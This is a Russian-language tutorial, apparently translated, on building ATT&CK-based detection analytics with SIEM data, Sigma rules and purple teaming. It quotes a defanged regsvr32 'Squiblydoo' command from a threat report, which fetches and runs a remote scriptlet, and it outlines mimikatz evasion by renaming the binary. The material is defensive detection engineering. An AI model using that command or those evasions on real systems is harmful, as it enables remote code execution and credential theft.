Обнаружение и аналитика
Первым шагом к созданию и использованию аналитики ATT&CK является понимание того, какие данные и возможности поиска у вас есть. В конце концов, чтобы обнаружить подозрительное поведение, вы должны иметь возможность видеть, что происходит в ваших системах. Один из способов сделать это — просмотреть список источников данных для каждой техники ATT&CK. Эти источники данных описывают типы данных, которые могут дать вам представление о данном методе. Другими словами, они дают вам хорошую отправную точку для сбора информации.
Если вы просматриваете источники данных для множества различных методов или следуете подходу Роберто Родригес и Хосе Луис Родригес, вы заметите, что несколько источников являются ценными для обнаружения большого количества методов:
1. Мониторинг процесса и запуск команд ,часто собирается Sysmon, журналами событий Windows и многими платформами EDR.
2. Мониторинг файлов и реестра, также часто собирается Sysmon, журналы событий Windows и многими платформами EDR.
3. Журналы аутентификации, например, собранные с контроллера домена через журналы
событий Windows.
4. Захват пакетов, например, собранный между хостами в вашей сети датчиками, такими как Zeek.
Как только вы узнаете, какие данные у вас есть, вам нужно будет обработать эти данные на какой-либо поисковой платформе (Security Information and Event Management или SIEM), чтобы вы могли выполнять аналитику по ним. Возможно, у вас уже есть это как часть ваших ИТ-задач или задач по обеспечению безопасности. Для снимков экрана и пошагового руководства я буду использовать ELK (ElasticSearch/Logstash/Kibana) с данными Sysmon, но существует ряд коммерческих предложений и предложений с открытым исходным кодом, и я не рекомендую какую-либо конкретную платформу. Не недооценивайте эти шаги в процессе; настройка сбора данных часто является самой сложной частью.
Когда у вас есть данные в вашей SIEM, вы готовы попробовать некоторую аналитику. Отличная отправная точка — просмотреть аналитику, созданную другими, и применить ее к вашим данным. Существует несколько аналитических репозиториев, но хорошей начальной аналитикой, если у вас есть данные процесса конечной точки, является CAR-2016–03–002. Это попытаться найти использование WMI для выполнения команд в удаленных системах, обычная техника злоумышленника, описанная Инструментарием управления Windows.
Переведите этот псевдокод в поиск любого используемого вами SIEM (убедитесь, что имена полей в ваших данных верны), и вы можете запустить его, чтобы получить результаты. Если вам неудобно переводить псевдокод, вы также можете использовать инструмент с открытым исходным кодом под названием Sigma и его хранилище правил для перевода на вашу цель. В этом случае CAR-2016–03–002 уже включено в правило Sigma.
Если вы установили Sigma и находитесь в ее каталоге, вы можете запустить эту команду, чтобы получить (в качестве примера) запрос ELK/WinLogBeats:
sigmac --target es-qs -c tools/config/winlogbeat.yml rules/windows/process_creation/win_susp_wmi_execution.yml
Теперь ваша задача — просмотреть каждый результат и выяснить, не является ли он вредоносным. Если вы использовали набор данных BRAWL, все это довольно вредоносно: он пытается запустить and.exe, и при дальнейшем изучении связанных событий and.exe был только что перемещен на этот хост через SMB и добавлен в ключи реестра автозапуска для сохранения. Если вы смотрите на свои собственные корпоративные данные, надеюсь, это безобидные или известные данные красной команды — если нет, возможно, перестаньте читать эту главу и выясните, с чем вы имеете дело. После того, как вы получите базовые данные, возвращающие поиск, и почувствуете, что можете понять результаты, попробуйте отфильтровать ложные срабатывания в своей среде, чтобы не перегружать себя. Ваша цель не должна состоять в том, чтобы свести к нулю ложные срабатывания; это должно быть максимально возможное их сокращение, при этом гарантируя, что вы поймаете вредоносное поведение. Как только аналитика имеет низкий уровень ложноположительных результатов, вы можете автоматизировать создание заявки в SOC каждый раз, когда аналитика срабатывает, или добавить ее в библиотеку аналитики, чтобы использовать ее для ручного поиска угроз.
Когда у вас есть аналитика, написанная другими людьми, вы можете начать расширять охват, написав свою собственную аналитику. Это более сложный процесс, требующий понимания того, как работают атаки и как они отражаются в данных. Для начала просмотрите описание техники от ATT&CK и отчеты об угрозах, связанные с примерами. В качестве примера, давайте представим, что не было хороших обнаружений для regsvr32. На странице ATT&CK перечислены несколько различных вариантов использования Regsvr32. Вместо того, чтобы писать одну аналитику, чтобы охватить их все, сосредоточьтесь только на одном аспекте, чтобы не запутаться. Например, вы можете захотеть обнаружить вариант «Squiblidoo», обнаруженный Кейси Смитом в Red Canary. Отчеты, связанные с примерами, показывают несколько экземпляров командных строк, в которых использовался Regsvr32, например, этот пример из анализа Cobalt Kitty:
Злоумышленники загружали COM-скрипты с помощью regsvr32.exe: regsvr32 /s/n/u/i:hxxp://support.chatconnecting(.)com:80/pic.png scrobj.dll
Как только вы поймете, как злоумышленники используют эту технику, вы должны выяснить, как запустить ее самостоятельно, чтобы вы могли видеть ее в своих собственных журналах. Простой способ сделать это — использовать красную команду , проект с открытым исходным кодом под руководством Red Canary, который предоставляет контент Red Team, соответствующий ATT&CK, который можно использовать для тестирования аналитики. Например, вы можете найти их список атак для Regsvr32, включая Squiblidoo. Конечно, если вы уже занимаетесь Red Teaming, не стесняйтесь запускать известные вам атаки (в системах, на которые у вас есть разрешение!) и пытаться разработать для них аналитику!
После запуска атаки загляните внутрь SIEM, чтобы увидеть, какие данные журнала были сгенерированы. На данном этапе вы ищете то, что выделяет это вредоносное событие. Я выбрал Squiblidoo в качестве примера, потому что он простой: нет оснований для обращения regsvr32.exe к Интернету, поэтому простой анализ заключается в поиске времени, когда процесс regsvr32.exe создан, а в командной строке есть « /i:http».
В реальном мире злоумышленники не просто выполняют атаки по шаблону, копируя/вставляя из какой-то книги. Они приспосабливаются и пытаются обойти вашу защиту, включая вашу аналитику (в конце концов, именно поэтому в ATT&CK есть тактика уклонения от защиты). Лучший способ убедиться, что ваша аналитика защищена от уклонения, — это работать напрямую с красным командным работником. Вы и ваша синяя команда будете нести ответственность за создание аналитики, а красная команда будет отвечать за эмуляцию противника— по сути, пытаясь уклониться от вашей аналитики, выполняя типы атак и уклонений, которые мы знаем из разведывательных данных об угрозах, которые злоумышленники используют в реальном мире. Другими словами, они будут действовать как настоящие противники, чтобы вы могли понять, как ваша аналитика будет работать против реальных противников. Вот как это может работать на практике. У вас есть некоторая аналитика, скажем, для обнаружения сброса учетных данных. Возможно, вы слышали о mimikatz и написали аналитику для обнаружения mimikatz.exe в командной строке или Invoke-Mimikatz через Powershell. Затем они могут найти и выполнить атаку, которая обойдет эту аналитику. В этом случае они могут переименовать исполняемый файл в mimidogz.exe. В этот момент вам нужно будет обновить свою аналитику, чтобы искать различные артефакты и поведения, которые не будут зависеть от точного названия. Возможно, вы ищете определенную битовую маску GrantedAccess, когда mimikatz обращается к lsass.exe (не беспокойтесь о точных деталях, это всего лишь пример). Вы снова отдадите это своей красной команде, и они выполнят уклонение, которое, например, добавит дополнительный доступ, чтобы ваша битовая маска GrantedAccess больше не обнаруживала его. Это движение вперед и назад известно как фиолетовое объединение. Это отличный способ быстро улучшить качество вашей аналитики, поскольку он измеряет вашу способность обнаруживать атаки, которые на самом деле используют злоумышленники. Как только вы дойдете до стадии, когда вы объедините всю свою аналитику в фиолетовую команду, вы даже сможете автоматизировать процесс. Надеюсь Вы получили представление о том, что означает построение аналитики для обнаружения методов ATT&CK, а также о том, как думать о создании набора аналитики.